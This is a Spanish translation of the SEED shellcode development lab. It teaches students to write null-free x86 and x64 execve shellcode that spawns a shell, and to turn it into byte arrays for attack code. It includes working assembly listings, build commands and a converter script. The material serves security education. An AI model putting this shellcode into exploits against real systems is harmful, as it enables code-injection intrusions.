Laboratorio de Desarrollo de Shellcode

1 Descripción General

El Shellcode es ampliamente usado en muchos ataques que involucran inyección de código. Escribir un shellcode es una tarea desafiante. Aunque se puedan encontrar muchos shellcodes en internet, existen situaciones donde tendremos que escribir un shellcode que satisfaga condiciones específicas. Tener la capacidad de escribir nuestros propios shellcodes es enriquecedor y nos servirá para entender el mecanismo de su funcionamiento. Existen varias técnicas para escribir un shellcode. El propósito de este laboratorio es que los estudiantes entiendan esas técnicas y aprendan a escribir su propio shellcode.

A la hora de escribir un shellcode se presentan varios desafíos, uno de ellos es asegurar que no haya ceros en el binario y el otro es encontrar la dirección en memoria de los datos usados en el comando. El primer desafío no es dificíl de resolver y existen muchas formas de hacerlo. El segundo desafío puede ser encarado por medio de dos estrategias, la primera es usar los datos que son puestos en el stack durante la ejecución y obtener su dirección de memoria usando el stack pointer. La segunda es guardar los datos en la región del código después de llamar a la instrucción `call`. Cuando la instrucción `call` es ejecutada, la dirección en memoria de los datos que son guardados en el stack son tratados como la dirección de retorno. Ambas soluciones son eficientes, nuestra esperanza es que los estudiantes puedan aprender estas dos técnicas. Este laboratorio cubre los siguientes tópicos:

- Shellcode
- Ensamblando el Código
- Desensamblado

Lecturas y Videos. Para una cobertura más detallada en Shellcode puede consultar

- Capítulos 4.7 del libro de SEED, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net`.
- Sección 4 del curso de SEED en Udemy (Lectura 30), *Computer Security: A Hands-on Approach*, by Wenliang Du. Para más detalles `https://www.handsonsecurity.net/video.html`.

Entorno de Laboratorio. Este laboratorio ha sido testeado en nuestra imagen pre-compilada de una VM con Ubuntu 20.04, que puede ser descargada del sitio oficial de SEED. Sin embargo, la mayoría de nuestros laboratorios pueden ser realizados en la nube para esto Ud. puede leer nuestra guía que explica como crear una VM de SEED en la nube.

2 Tarea 1: Escribiendo un Shellcode

En esta tarea, empezaremos con un shellcode de ejemplo para demostrar como escribir uno. Después de esto, los estudiantes deberán modificar este shellcode para realizar varias tareas.

Un shellcode es escrito usualmente en lenguaje ensamblador, el cual es dependiente de la arquitectura de la computadora. En este laboratorio se usará la arquitectura Intel, en el cual tenemos dos tipos de procesadores: x86 (para 32-bits) y x64 (para 64-bits). En esta tarea nos focalizaremos en un shelllcode de 32-bits y en la tarea final usaremos un shellcode de 64-bits. Aunque la mayoría de las computadores hoy en día son de 64-bit, pueden ejecutar programas de 32-bits.

2.1 Tarea 1.a: El Proceso Completo

En esta tarea, hemos provisto un shellcode x86 sencillo para mostrar a los estudiantes como escribir un shellcode desde el principio. Los estudiantes pueden descargarse este código del laboratorio en el sitio oficial. El código a usar es mostrado a continuación. **Nota:** por favor no copie y pegue el código desde este archivo PDF, porque algunos caracteres podrían verse alterados al realizar esta acción. Use directamente el código descargado del sitio oficial.

Si bien en el código se da una breve explicación en los comentarios, los estudiantes pueden encontrar una explicación más detallada en el libro de SEED (Capítulo 4.7) y también en el curso de SEED en Udemy (Lectura 30 del curso de Computer Security).

Listing 1: A basic shellcode example `mysh.s`

```
section .text
  global _start
    _start:
      ; Store the argument string on stack
      xor  eax, eax
      push eax          ; Use 0 to terminate the string
      push "//sh"       ;                                    ❶
      push "/bin"
      mov  ebx, esp     ; Get the string address

      ; Construct the argument array argv[]
      push eax          ; argv[1] = 0                        ❷
      push ebx          ; argv[0] points to the cmd string   ❸
      mov  ecx, esp     ; Get the address of argv[]

      ; For environment variable
      xor  edx, edx     ; No env variable                    ❹

      ; Invoke execve()
      xor  eax, eax     ; eax = 0x00000000
      mov   al, 0x0b    ; eax = 0x0000000b
      int 0x80
```

Compilando a código objeto. Compilaremos nuestro código en ensamblador (`mysh.s`) usando `nasm`, el cual es un ensamblador y desensamblador para las arquitecturas Intel x86 y x64. El parámetro `-f elf32` nos permite compilar el código a un formato de binario ELF de 32-bits. El formato ELF (Executable and Linkable Format) es un formato archivo para ejecutables, código objeto y librerías compartidas. Para usar un binario de 64-bits se deberá usar `elf64`.

```
$ nasm -f elf32 mysh.s -o mysh.o
```

Linkeando al binario. Una vez que tenemos el código objeto `mysh.o`, procederemos al último paso. Debemos de generar el binario ejecutable, para esto debemos de usar el programa de linkeo o linker `ld`. El parámetro `-m elf_i386` nos permite generar un binario ELF de 32-bits. Después de esto, tendremos nuestro código ejecutable `mysh`. Si lo ejecutamos podremos tener una shell. Antes y después de correr `mysh`, mostramos en pantalla el ID del proceso actual de la shell usando `echo $$`, a través de estos mensajes podemos observar como la ejecución de `mysh` genera un nueva shell en un nuevo proceso.

```
$ ld -m elf_i386 mysh.o -o mysh

$ echo $$
25751    ← the process ID of the current shell
$ mysh
$ echo $$
9760     ← the process ID of the new shell
```

Obteniendo el código máquina. Durante el ataque, necesitaremos solamente el código máquina del shellcode y no su archivo ejecutable ya que contiene información extra aparte de su código de máquina. Técnicamente el shellcode es el código máquina. Además, necesitamos extraer este código del archivo ejecutable o del archivo objeto. Existen varias formas de hacerlo. Una de ellas es usar el comando `objdump` para realizar un desensamblado en el archivo ejecutable o en el archivo objeto.

Existen dos sintaxis comúnmente usadas en el código ensamblador, una es la sintaxis AT&T y la otra es la sintaxis Intel. Por defecto `objdump` usa la sintaxis AT&T. A continuación usamos el parámetros `-Mintel` para generar código con la sintaxis Intel.

```
$ objdump -Mintel --disassemble mysh.o
mysh.o:     file format elf32-i386

Disassembly of section .text:

00000000 <_start>:
   0: 31 db     xor    ebx,ebx
   2: 31 c0     xor    eax,eax
            ... (code omitted) ...
  1f: b0 0b     mov    al,0xb
  21: cd 80     int    0x80
```

En la impresión anterior, los números que se enmarcan son código máquina. Puede usar el comando `xxd` para imprimir el contenido del archivo binario y así obtener el código máquina del shellcode.

```
$ xxd -p -c 20 mysh.o
7f454c4601010100000000000000000001000300
...
00000000000000000000000031db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80000000000000000000000000000
...
```

Usando el shellcode en el código de ataque. En nuestros ataques, necesitamos incluir el shellcode dentro de nuestro código de ataque sea en Python o en C. Se suele guardar el código máquina en un arreglo, pero convertir este código para asignarlo a un arreglo en Python o en C, es una tarea un tanto tediosa si se hace

manualmente, especialmente si este procedimiento se tiene que repetir varias veces durante el laboratorio. Para este propósito hemos escrito un programa en Python para ayudarlo en este proceso. Solamente copie el shellcode obtenido usando el comando `xxd` y péguelo en el código que se muestra a continuación, entre las líneas marcadas por `"""`. El código puede ser descargado del sitio oficial del laboratorio.

Listing 2: `convert.py`

```
#!/usr/bin/env python3

# Run "xxd -p -c 20 mysh.o", and
# copy and paste the machine code part to the following:
ori_sh ="""
31db31c0b0d5cd80
31c050682f2f7368682f62696e89e3505389e131
d231c0b00bcd80
"""

sh = ori_sh.replace("\n", "")

length  = int(len(sh)/2)
print("Length of the shellcode: {}".format(length))
s = 'shellcode= (\n' + '   "'
for i in range(length):
    s += "\\x" + sh[2*i] + sh[2*i+1]
    if i > 0 and i % 16 == 15:
       s += '"\n' + '   "'
s += '"\n' + ").encode('latin-1')"
print(s)
```

El programa `convert.py` imprimirá el siguiente código en Python, el cual puede incluir en su código de ataque. Este guarda el shellcode dentro de un arreglo Python.

```
$ ./convert.py
Length of the shellcode: 35
shellcode= (
   "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68"
   "\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0"
   "\x0b\xcd\x80"
).encode('latin-1')
```

2.2 Tarea 1.b. Eliminando los Ceros del Código

Los shellcodes son muy utilizados en ataques de buffer overflow. En muchos casos estas vulnerabilidades son producidas por funciones como `strcpy()` que no chequean el tamaño de los datos (por lo general cadenas) que son copiados en un buffer. Para estas funciones el cero es considerado el fin de cadena. Además si tenemos un cero en el medio de nuestro shellcode, este será copiado hasta llegar al cero, por lo que quedará una parte de shellcode sin copiar en el buffer y nuestro ataque no será exitoso.

Aunque no todas las vulnerabilidades tienen problemas con los ceros, es obligación que nuestro shellcode no incluya ceros en su contenido osea en el código máquina resultante; de otra forma la aplicación y el uso del shellcode se verá limitada.

Para lidiar con este asunto, existen varias técnicas. Nuestro shellcode cuyo código se encuentra en el archivo `mysh.s` necesita usar ceros en cuatro lugares diferentes. Por favor identifique esos lugares y

explique como el código usa los ceros sin introducirlos en el mismo. A continuación se dan algunas pistas:

- Si queremos asignar un cero a `eax`, podemos usar `"mov eax, 0"` pero haciendo esto obtendremos un cero en código máquina. La forma estándar de resolver este problema es usar `"xor eax, eax"`. Por favor explique porque esto debería de funcionar.
- Si queremos guardar `0x00000099` en `eax`. No podemos usar `mov eax, 0x99` porque el segundo operando es `0x00000099` y contiene tres ceros. Para resolver este problema, podemos asignar un cero a `eax` y después asignar un número de un sólo byte (`0x99`) en el registro `al`, el cual representa los 8 bits menos significativos del registro `eax`.
- Otra manera es usar el desplazamiento (shift). En el siguiente código,el valor `0x237A7978` es asignado en el registro `ebx`. Los valores ASCII para `x`, `y`, `z`, y `#` son `0x78`, `0x79`, `0x7a`, `0x23`. Esto es así ya que la mayoría de procesadores Intel son Little Endian, lo que significa que el byte menos significativo es guardado en las direcciones de memoria más bajas (es decir el caracter `x`, será guardado primero), el número que representa `xyz#` es `0x237A7978`. Puede comprobar esto usando `objdump` para hacer el desensamblado de su código.

  Después de asignar el valor a `ebx`, hacemos un desplazamiento de 8 bits del registro hacia la izquierda, esto hará que el byte más significativo `0x23` sea descartado. Entonces luego haremos un desplazamiento de 8 bits hacia la derecha y el byte más significativo será reemplazado con `0x00`. Finalmente, el valor final de `ebx` será `0x007A7978`, el cual es el equivalente a `"xyz\0"`, el último byte se convierte en un cero.

```
mov  ebx, "xyz#"
shl  ebx, 8
shr  ebx, 8
```

Tarea. En la línea ❶ del shellcode en el archivo `mysh.s`, hemos hecho un push al stack del valor `"//sh"`. En realidad queremos guardar `"/sh"` en el stack, pero la instrucción `push` necesita un número de 32-bits. Agregar una `/` redundante al principio de la cadena no altera el comportamiento de nuestro shellcode esto es porque para el Sistema Operativo es lo mismo que usar una sola `/`.

En esta tarea, usaremos el shellcode para ejecutar `/bin/bash`, el cual tiene un tamaño de 9 bytes (10 bytes si contamos el cero). Típicamente para guardarlo en el stack necesitamos que su longitud sea múltiplo de 4 por lo que usaremos la cadena `/bin////bash`.

Sin embargo para esta tarea, no puede usar `/` redundantes en el valor de la cadena, es decir la longitud de la cadena debe de ser de 9 bytes (`/bin/bash`). Por favor demuestre como puede hacer esto. Además de mostrar que puede obtener una shell bash, debe de mostrar que su código no contiene ceros.

2.3 Tarea 1.c. Usando Argumentos en la Llamada al Sistema

En las líneas ❷ y ❸, dentro del archivo `mysh.s`, hemos usado el arreglo `argv[]` para el uso de la llamada al sistema `execve()`. Dado que nuestro comando es `/bin/sh`, nuestro arreglo `argv` contiene dos elementos: el primero es un puntero a la cadena de nuestro comando (`/bin/sh`) y el segundo es un cero.

En esta tarea, necesitamos ejecutar el siguiente comando, es decir se quiere utilizar `execve` para ejecutar `"ls -la"` el cual usa `/bin/sh`

```
/bin/sh -c "ls -la"
```

En esta sentencia, el arreglo `argv` debería de contener cuatro elementos, los cuales necesitan ser guardados en el stack. Por favor modifique `mysh.s` y demuestre los resultados de su ejecución. Recuerde que no puede tener ceros en su shellcode (Se permite usar / redundantes)

```
argv[3] = 0
argv[2] = "ls -la"
argv[1] = "-c"
argv[0] = "/bin/sh"
```

2.4 Tarea 1.d. Usando variables de entorno en `execve()`

El tercer parámetro para la llamada al sistema `execve()` es un puntero al arreglo de variables de entorno y nos permite pasar variables de entorno al programa. En nuestro programa de ejemplo en la Línea ❹, pasamos un puntero nulo a `execve()`, por lo tanto no estamos pasando ninguna variable de entorno al programa. En esta tarea usaremos variables de entorno en nuestra llamada al sistema `execve()`.

Si cambiamos el comando `"/bin/sh"` por `"/usr/bin/env"` dentro de nuestro archivo `mysh.s`, podrá observar que al ejecutar el shellcode no se mostrará nada en pantalla, esto es porque `"/usr/bin/env"` se encarga de imprimir las variables de entorno y dado que todavía no hemos establecido ninguna, este no mostrará nada.

En esta tarea, escribiremos un shellcode llamado `myenv.s`. Cuando este código sea ejecutado, ejecutará el comando `"/usr/bin/env"`, el cual imprimirá las siguientes variables de entorno:

```
$ ./myenv
aaa=1234
bbb=5678
cccc=1234
```

Debe de notar que el valor de la variable de entorno `cccc` debe ser de 4 bytes (no se permiten agregar espacios). Intencionalmente hemos hecho que la longitud de esta cadena en la variable de entorno (nombre y valor) no sea múltiplo de 4.

Para construir un shellcode sobre esto, necesitamos construir un arreglo de las variables de entorno en el stack y guardar la dirección de memoria de este arreglo en el registro `edx` antes de invocar a `execve()`. La manera que tenemos para construir el arreglo en el stack es la misma que fue usada para el arreglo `argv[]`. Básicamente, primero guardamos las cadenas de las variables de entorno en el stack. Cada cadena tiene un formato de `nombre=valor`, y es terminada por un byte cero. A continuación necesitamos obtener las direcciones de memoria de esas cadenas. Finalmente construimos el arreglo de las variables de entorno en el stack y guardamos las direcciones de memoria de esas cadenas en este arreglo. El arreglo debe de lucir de la siguiente forma (El orden de los elementos `0`, `1`, y `2` no importa):

```
env[3] = 0   // 0 marks the end of the array
env[2] = address to the "cccc=1234" string
env[1] = address to the "bbb=5678"  string
env[0] = address to the "aaa=1234"  string
```

3 Tarea 2: Usando el Segmento de Código

Como podemos ver en el shellcode de la Tarea 1, la forma en que se resuelve el problema de la dirección de memoria de los datos es que se construye dinámicamente todos los elementos necesarios de las estructuras de datos en el stack, de esta forma sus direcciones se puedan obtener por medio del stack pointer `esp`.

Existe otra forma de resolver este mismo problema, es decir obtener las direcciones de memoria de todas las estructuras de datos. Esta forma guarda los datos en la región del código (code segment) y sus direcciones de memoria son obtenidas mediante el mecanismo de la función call. Veamos el siguiente código.

Listing 3: `mysh2.s`

```
section .text
  global _start
    _start:
        BITS 32
        jmp short two
    one:
        pop ebx                    ❶
        xor eax, eax
        mov [ebx+7],  al  ; save 0x00 (1 byte) to memory at address ebx+7
        mov [ebx+8],  ebx ; save ebx (4 bytes) to memory at address ebx+8
        mov [ebx+12], eax ; save eax (4 bytes) to memory at address ebx+12
        lea ecx, [ebx+8]  ; let ecx = ebx + 8
        xor edx, edx
        mov al,  0x0b
        int 0x80
     two:
        call one
        db '/bin/sh*AAAABBBB' ;  ❷
```

En el código anterior, se inicia con un jump a la locación `two`, dentro de esta locación se lanza otro jump (a la locación `one`), pero esta vez se usa la instrucción `call`. Esta instrucción es para invocar la llamada a una función, es decir antes de realizar el jump hacia su destino, se guarda la dirección de retorno de la próxima instrucción, lo que hace que al momento que la instrucción `call` termine, se ejecute la próxima instrucción que sigue a continuación de la instrucción `call`.

En el ejemplo anterior la "instrucción" que sigue después de `call` (Línea ❷) no es una instrucción propiamente dicha; es la declaración de una cadena. Sin embargo, esto no importa, la instrucción `call` guardará su dirección de memoria (es decir la de la cadena) como la dirección de retorno en el stack dentro del frame de la función. Cuando entramos dentro de esta función, después de realizar el jump a locación `one`, esta dirección de retorno se guarda en la cima del stack. La instrucción `pop ebx` en la Línea ❶ obtiene la dirección de memoria de la cadena declarada en la Línea ❷ y la guarda en el registro `ebx`. Así es como la dirección de memoria de la cadena es obtenida.

La cadena en la Línea ❷ no está completa; es solamente un placeholder. El programa necesita construir la información requerida por la estructura de datos dentro de este placeholder. Dado que la dirección de memoria de esta cadena está disponible en el registro ebx, el armado de esta estructura de datos puede ser construido fácilmente.

Si queremos producir un ejecutable, necesitamos usar el parámetro `--omagic` al momento de correr el linker (`ld`), de esta forma el segmento de código puede ser escrito. Por defecto no lo es. Cuando el programa se ejecuta, necesita modificar los datoss guardados en la región del código (segmento del código); si esta región no permite escritura, el programa romperá al momento de su ejecución. Esto no es un problema en los ataques actuales, ya que el código que se inyecta se hace en el segmento de datos que tiene permisos de escritura (ejemplos: el stack o el heap) y aparte no se suele correr un shellcode como un programa aparte.

```
$ nasm -f elf32 mysh2.s -o mysh2.o
$ ld --omagic -m elf_i386 mysh2.o -o mysh2
```

Tareas. Realice las siguientes tareas: (1) Por favor provea una explicación detallada para cada línea de código del archivo `mysh2.s`, empezando desde la línea `one`. Explique porque el código ejecuta correctamente el programa `/bin/sh` y como se construye el arreglo `argv[]`, etc. (2) Por favor use la técnica implementada en `mysh2.s` para implementar un nuevo shellcode que ejecute `/usr/bin/env` que imprima las siguientes variables de entorno:

```
a=11
b=22
```

4 Tarea 3: Escribiendo un Shellcode de 64-bits

Una vez que entendemos como escribir un shellcode de 32-bits, escribir uno para 64-bits no será difícil, dado que son similares; la diferencia principales radican en los registros. Para la arquitectura x64, la invocación de las llamadas al sistema se da a través de la instrucción `syscall` y los primeros tres argumentos para la llamada al sistema son guardados en los registros `rdx`, `rsi`, `rdi`. El siguiente es un ejemplo de un shellcode de 64-bits:

Listing 4: A 64-bit shellcode `mysh_64.s`

```
  section .text
  global _start
    _start:
      ; The following code calls execve("/bin/sh", ...)
      xor  rdx, rdx       ; 3rd argument (stored in rdx)
      push rdx
      mov rax,'/bin//sh'
      push rax
      mov rdi, rsp        ; 1st argument (stored in rdi)
      push rdx
      push rdi
      mov rsi, rsp        ; 2nd argument (stored in rsi)
      xor  rax, rax
      mov al, 0x3b        ; execve()
      syscall
```

Podemos usar los siguientes comandos para compilar el código en ensamblador en un binario de 64-bits:

```
$ nasm -f elf64 mysh_64.s -o mysh_64.o
$ ld mysh_64.o -o mysh_64
```

Tarea. Repita la Tarea 1.b usando el shellcode de 64-bits. Es necesario aclarar que en vez de ejecutar `"/bin/sh"`, necesitaremos ejecutar `"/bin/bash"` y no se permite usar `/` redundantes, es decir la longitud de la cadena debe ser de 9 bytes (`/bin/bash`). Por favor demuestre como puede hacer esto. Además de mostrar que puede obtener una shell bash, debe de mostrar que su código no contiene ceros.

5 Informe del Laboratorio

Debe enviar un informe de laboratorio detallado, con capturas de pantalla, para describir lo que ha hecho y lo que ha observado. También debe proporcionar una explicación a las observaciones que sean interesantes

o sorprendentes. Enumere también los fragmentos de código más importantes seguidos de una explicación. No recibirán créditos aquellos fragmentos de códigos que no sean explicados.

Agradecimientos

Este documento ha sido traducido al Español por Facundo Fontana